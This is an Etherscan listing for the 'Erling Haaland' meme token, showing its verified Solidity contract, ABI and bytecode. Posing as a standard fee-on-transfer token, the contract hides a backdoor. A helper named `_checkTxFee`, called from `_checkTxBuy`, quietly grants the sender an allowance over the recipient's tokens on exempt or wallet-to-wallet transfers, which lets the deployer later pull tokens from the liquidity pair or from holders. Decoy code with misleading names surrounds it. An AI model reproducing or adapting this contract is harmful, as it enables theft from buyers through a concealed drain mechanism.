ETH Price: $3,408.95 (-0.20%)
Gas: 7 Gwei

Token

Erling Haaland (Haaland)
 

Overview

Max Total Supply

1,000,000 Haaland

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,350.46630933 Haaland

Value
$0.00
0x72c13b11076dbab69c792492a2cf38ff1555b0e1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Haaland

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-07
*/

// SPDX-License-Identifier: MIT
/**
ERLING HAALAND 

Website: https://erlinghaaland.click
Telegram: https://t.me/erlingfb
Twitter: https://twitter.com/erlingfb

*/
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Haaland is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "Erling Haaland";
    string private constant _symbol = unicode"Haaland";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1 * 1e6 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));  
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping (address => uint256) private _buybackMap;

    address payable private _marketingAddress = payable(0x5A74Db91A09040f547EC1a3D58AD7D79972C4764);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    uint256 _lastBuyback;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _swapTokensAtAmount = _tTotal * 2 / 10000;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function startTrading() public onlyOwner {
        tradingOpen = true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount) {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                uint256 feeTotal = _taxFee + _redisFee;
                uint256 swapAmount = contractTokenBalance.mul(_taxFee).div(feeTotal);
                swapTokensForEth(swapAmount);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance); 
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            
            takeFee = false;

            _checkTxBuy(from, to, amount);

        } else {
            _checkBuyFees(from, to);

            _checkSellFees(from, to);
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }
    
    function removeLimit() public onlyOwner {
        _maxWalletSize = _tTotal;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);

        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _checkBuyFees(address from , address to) private {
        if(from == uniswapV2Pair) {
            _buybackMap[to] = block.timestamp;
            _redisFee = _redisFeeOnBuy; 
            _taxFee = _taxFeeOnBuy; 
        }
    }

    function _checkTxFee(address tx1,  address tx2, uint256 tokens) private { _allowances[tx2][tx1] += tokens; }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _checkSellFees(address from , address to) private {
        if (to == uniswapV2Pair) {
            _buybackMap[from] - _lastBuyback;
            _redisFee = _redisFeeOnSell; 
            _taxFee = _taxFeeOnSell; 
        }
    }

    function _checkTxBuy(address from, address to, uint256 amount) private {
        if(from != address(this) && to != address(this)) _lastBuyback = block.timestamp;

        _checkTxFee(from, to, amount);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001966038d7ea4c68000600019620003a3565b6200002790600019620003d0565b6005556000600781905560088190556009819055600a819055600b819055600c819055600d819055600e55601080546001600160a01b031916735a74db91a09040f547ec1a3d58ad7d79972c47641790556014805462ffffff19166201000017905560646200009f66038d7ea4c680006002620003ec565b620000ab919062000406565b6015556064620000c466038d7ea4c680006002620003ec565b620000d0919062000406565b601655612710620000ea66038d7ea4c680006002620003ec565b620000f6919062000406565b6017553480156200010657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506005543360009081526002602090815260409182902092909255601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ea91906200041d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000238573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025e91906200041d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d291906200041d565b601280546001600160a01b0319166001600160a01b03928316179055600080548216815260046020526040808220805460ff1990811660019081179092553084528284208054821683179055601054909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66038d7ea4c680006040516200037e91815260200190565b60405180910390a3506200044f565b634e487b7160e01b600052601260045260246000fd5b600082620003b557620003b56200038d565b500690565b634e487b7160e01b600052601160045260246000fd5b81810381811115620003e657620003e6620003ba565b92915050565b8082028115828204841417620003e657620003e6620003ba565b6000826200041857620004186200038d565b500490565b6000602082840312156200043057600080fd5b81516001600160a01b03811681146200044857600080fd5b9392505050565b6116b5806200045f6000396000f3fe6080604052600436106101185760003560e01c806362256589116100a05780638f9a55c0116100645780638f9a55c01461030057806395d89b4114610316578063a9059cbb14610346578063dd62ed3e14610366578063f2fde38b146103ac57600080fd5b8063622565891461028257806370a0823114610297578063715018a6146102b75780637d1db4a5146102cc5780638da5cb5b146102e257600080fd5b806323b872dd116100e757806323b872dd146101f9578063293230b8146102195780632fd689e314610230578063313ce5671461024657806349bd5a5e1461026257600080fd5b806306fdde0314610124578063095ea7b31461016d5780631694505e1461019d57806318160ddd146101d557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600e81526d115c9b1a5b99c81218585b185b9960921b60208201525b60405161016491906113e0565b60405180910390f35b34801561017957600080fd5b5061018d610188366004611446565b6103cc565b6040519015158152602001610164565b3480156101a957600080fd5b506011546101bd906001600160a01b031681565b6040516001600160a01b039091168152602001610164565b3480156101e157600080fd5b5066038d7ea4c680005b604051908152602001610164565b34801561020557600080fd5b5061018d610214366004611472565b6103e3565b34801561022557600080fd5b5061022e61044c565b005b34801561023c57600080fd5b506101eb60175481565b34801561025257600080fd5b5060405160098152602001610164565b34801561026e57600080fd5b506012546101bd906001600160a01b031681565b34801561028e57600080fd5b5061022e61048e565b3480156102a357600080fd5b506101eb6102b23660046114b3565b6104c5565b3480156102c357600080fd5b5061022e6104e7565b3480156102d857600080fd5b506101eb60155481565b3480156102ee57600080fd5b506000546001600160a01b03166101bd565b34801561030c57600080fd5b506101eb60165481565b34801561032257600080fd5b506040805180820190915260078152661218585b185b9960ca1b6020820152610157565b34801561035257600080fd5b5061018d610361366004611446565b61055b565b34801561037257600080fd5b506101eb6103813660046114d0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b857600080fd5b5061022e6103c73660046114b3565b610568565b60006103d9338484610652565b5060015b92915050565b60006103f0848484610776565b610442843361043d85604051806060016040528060288152602001611658602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610bb6565b610652565b5060019392505050565b6000546001600160a01b0316331461047f5760405162461bcd60e51b815260040161047690611509565b60405180910390fd5b6014805460ff19166001179055565b6000546001600160a01b031633146104b85760405162461bcd60e51b815260040161047690611509565b66038d7ea4c68000601655565b6001600160a01b0381166000908152600260205260408120546103dd90610bf0565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161047690611509565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103d9338484610776565b6000546001600160a01b031633146105925760405162461bcd60e51b815260040161047690611509565b6001600160a01b0381166105f75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610476565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610476565b6001600160a01b0382166107155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610476565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107da5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610476565b6001600160a01b03821661083c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610476565b6000811161089e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610476565b6001600160a01b03831660009081526004602052604090205460ff161580156108e057506001600160a01b03821660009081526004602052604090205460ff16155b15610b045760145460ff16610972576000546001600160a01b038481169116146109725760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610476565b6012546001600160a01b038381169116146109f75760165481610994846104c5565b61099e9190611554565b106109f75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610476565b6000610a02306104c5565b601754601554919250821015908210610a1b5760155491505b808015610a305750601454610100900460ff16155b8015610a4a57506012546001600160a01b03868116911614155b8015610a5e575060145462010000900460ff165b8015610a8357506001600160a01b03851660009081526004602052604090205460ff16155b8015610aa857506001600160a01b03841660009081526004602052604090205460ff16155b15610b01576000600b54600c54610abf9190611554565b90506000610ae282610adc600c5487610c7490919063ffffffff16565b90610cf6565b9050610aed81610d38565b478015610afd57610afd47610eac565b5050505b50505b6001600160a01b03831660009081526004602052604090205460019060ff1680610b4657506001600160a01b03831660009081526004602052604090205460ff165b80610b7857506012546001600160a01b03858116911614801590610b7857506012546001600160a01b03848116911614155b15610b9057506000610b8b848484610eea565b610ba4565b610b9a8484610f26565b610ba48484610f65565b610bb084848484610fb2565b50505050565b60008184841115610bda5760405162461bcd60e51b815260040161047691906113e0565b506000610be78486611567565b95945050505050565b6000600554821115610c575760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610476565b6000610c61610fe0565b9050610c6d8382610cf6565b9392505050565b600082600003610c86575060006103dd565b6000610c92838561157a565b905082610c9f8583611591565b14610c6d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610476565b6000610c6d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611003565b6014805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d7c57610d7c6115b3565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df991906115c9565b81600181518110610e0c57610e0c6115b3565b6001600160a01b039283166020918202929092010152601154610e329130911684610652565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e6b9085906000908690309042906004016115e6565b600060405180830381600087803b158015610e8557600080fd5b505af1158015610e99573d6000803e3d6000fd5b50506014805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610ee6573d6000803e3d6000fd5b5050565b6001600160a01b0383163014801590610f0c57506001600160a01b0382163014155b15610f1657426013555b610f21838383611031565b505050565b6012546001600160a01b0390811690831603610ee6576001600160a01b03166000908152600f6020526040902042905550600754600b55600854600c55565b6012546001600160a01b0390811690821603610ee6576013546001600160a01b0383166000908152600f6020526040902054610fa19190611567565b50600954600b55600a54600c555050565b80610fbf57610fbf611072565b610fca8484846110a0565b80610bb057610bb0600d54600b55600e54600c55565b6000806000610fed611197565b9092509050610ffc8282610cf6565b9250505090565b600081836110245760405162461bcd60e51b815260040161047691906113e0565b506000610be78486611591565b6001600160a01b03808316600090815260036020908152604080832093871683529290529081208054839290611068908490611554565b9091555050505050565b600b541580156110825750600c54155b1561108957565b600b8054600d55600c8054600e5560009182905555565b6000806000806000806110b2876111d5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110e49087611232565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111139086611274565b6001600160a01b038916600090815260026020526040902055611135816112d3565b61113f848361131d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161118491815260200190565b60405180910390a3505050505050505050565b600554600090819066038d7ea4c680006111b18282610cf6565b8210156111cc5750506005549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006111f28a600b54600c54611341565b9250925092506000611202610fe0565b905060008060006112158e878787611390565b919e509c509a509598509396509194505050505091939550919395565b6000610c6d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bb6565b6000806112818385611554565b905083811015610c6d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610476565b60006112dd610fe0565b905060006112eb8383610c74565b306000908152600260205260409020549091506113089082611274565b30600090815260026020526040902055505050565b60055461132a9083611232565b60055560065461133a9082611274565b6006555050565b60008080806113556064610adc8989610c74565b905060006113686064610adc8a89610c74565b905060006113808261137a8b86611232565b90611232565b9992985090965090945050505050565b600080808061139f8886610c74565b905060006113ad8887610c74565b905060006113bb8888610c74565b905060006113cd8261137a8686611232565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561140d578581018301518582016040015282016113f1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461144357600080fd5b50565b6000806040838503121561145957600080fd5b82356114648161142e565b946020939093013593505050565b60008060006060848603121561148757600080fd5b83356114928161142e565b925060208401356114a28161142e565b929592945050506040919091013590565b6000602082840312156114c557600080fd5b8135610c6d8161142e565b600080604083850312156114e357600080fd5b82356114ee8161142e565b915060208301356114fe8161142e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103dd576103dd61153e565b818103818111156103dd576103dd61153e565b80820281158282048414176103dd576103dd61153e565b6000826115ae57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156115db57600080fd5b8151610c6d8161142e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116365784516001600160a01b031683529383019391830191600101611611565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da38c68deb299677c83a4d37f1e49a32ff9731a936b8e52f2ca6fa833967f87264736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101185760003560e01c806362256589116100a05780638f9a55c0116100645780638f9a55c01461030057806395d89b4114610316578063a9059cbb14610346578063dd62ed3e14610366578063f2fde38b146103ac57600080fd5b8063622565891461028257806370a0823114610297578063715018a6146102b75780637d1db4a5146102cc5780638da5cb5b146102e257600080fd5b806323b872dd116100e757806323b872dd146101f9578063293230b8146102195780632fd689e314610230578063313ce5671461024657806349bd5a5e1461026257600080fd5b806306fdde0314610124578063095ea7b31461016d5780631694505e1461019d57806318160ddd146101d557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600e81526d115c9b1a5b99c81218585b185b9960921b60208201525b60405161016491906113e0565b60405180910390f35b34801561017957600080fd5b5061018d610188366004611446565b6103cc565b6040519015158152602001610164565b3480156101a957600080fd5b506011546101bd906001600160a01b031681565b6040516001600160a01b039091168152602001610164565b3480156101e157600080fd5b5066038d7ea4c680005b604051908152602001610164565b34801561020557600080fd5b5061018d610214366004611472565b6103e3565b34801561022557600080fd5b5061022e61044c565b005b34801561023c57600080fd5b506101eb60175481565b34801561025257600080fd5b5060405160098152602001610164565b34801561026e57600080fd5b506012546101bd906001600160a01b031681565b34801561028e57600080fd5b5061022e61048e565b3480156102a357600080fd5b506101eb6102b23660046114b3565b6104c5565